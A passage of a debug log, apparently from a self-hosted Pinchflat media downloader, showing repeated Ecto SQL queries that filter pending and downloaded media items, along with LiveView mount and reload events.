s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:06.151 [debug] QUERY OK source="media_items" db=0.0ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:07:06.151 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:06.152 [info] Sent 200 in 12ms 23:07:06.187 [info] CONNECTED TO Phoenix.LiveView.Socket in 42µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "I3RaRlBAKwl2YB04cRkCKlkUAi4obSZvbDbkgtzGFTkM7xjatSIedUgW", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:07:06.192 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "pending", "source_id" => 1} 23:07:06.192 [debug] QUERY OK source="sources" db=0.4ms idle=42.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:06.193 [debug] QUERY OK source="media_items" db=0.4ms idle=42.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:07:06.194 [debug] QUERY OK source="media_items" db=0.9ms idle=42.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:06.195 [debug] Replied in 3ms 23:07:06.196 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "downloaded", "source_id" => 1} 23:07:06.197 [debug] QUERY OK source="sources" db=0.2ms idle=45.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:06.197 [debug] QUERY OK source="media_items" db=0.1ms idle=45.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:06.198 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:06.198 [debug] Replied in 2ms 23:07:06.201 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "other", "source_id" => 1} 23:07:06.201 [debug] QUERY OK source="sources" db=0.3ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:06.202 [debug] QUERY OK source="media_items" db=0.4ms idle=7.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:07:06.203 [debug] QUERY OK source="media_items" db=0.7ms idle=5.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:06.203 [debug] Replied in 2ms 23:07:06.204 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:07:06.204 [debug] Replied in 117µs 23:07:08.775 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 23:07:08.775 [debug] Replied in 325µs 23:07:08.776 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=710.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:08.777 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=710.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:08.780 [debug] QUERY OK source="media_items" db=4.7ms queue=0.2ms idle=710.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:07:08.780 [debug] QUERY OK source="media_items" db=4.7ms queue=0.1ms idle=710.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:07:08.780 [debug] QUERY OK source="media_items" db=5.0ms queue=0.1ms idle=108.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:07:08.781 [debug] QUERY OK source="media_items" db=3.9ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:08.781 [debug] QUERY OK source="media_items" db=4.7ms queue=1.2ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:07:08.784 [debug] QUERY OK source="media_items" db=4.3ms queue=3.2ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:08.790 [debug] QUERY OK source="media_items" db=8.6ms queue=0.1ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:08.790 [debug] QUERY OK source="media_items" db=9.1ms queue=0.1ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:08.790 [debug] QUERY OK source="media_items" db=9.4ms queue=0.1ms idle=0.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:08.790 [debug] QUERY OK source="media_items" db=8.4ms idle=0.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:10.223 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 23:07:10.223 [debug] Replied in 307µs 23:07:10.225 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=159.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:10.225 [debug] QUERY OK source="media_items" db=1.6ms queue=0.2ms idle=554.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:10.228 [debug] QUERY OK source="media_items" db=5.1ms queue=0.1ms idle=158.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:07:10.229 [debug] QUERY OK source="media_items" db=3.7ms queue=0.1ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:10.229 [debug] QUERY OK source="media_items" db=5.5ms queue=0.1ms idle=159.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:07:10.229 [debug] QUERY OK source="media_items" db=5.6ms queue=0.2ms idle=158.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:07:10.229 [debug] QUERY OK source="media_items" db=4.6ms queue=1.3ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN 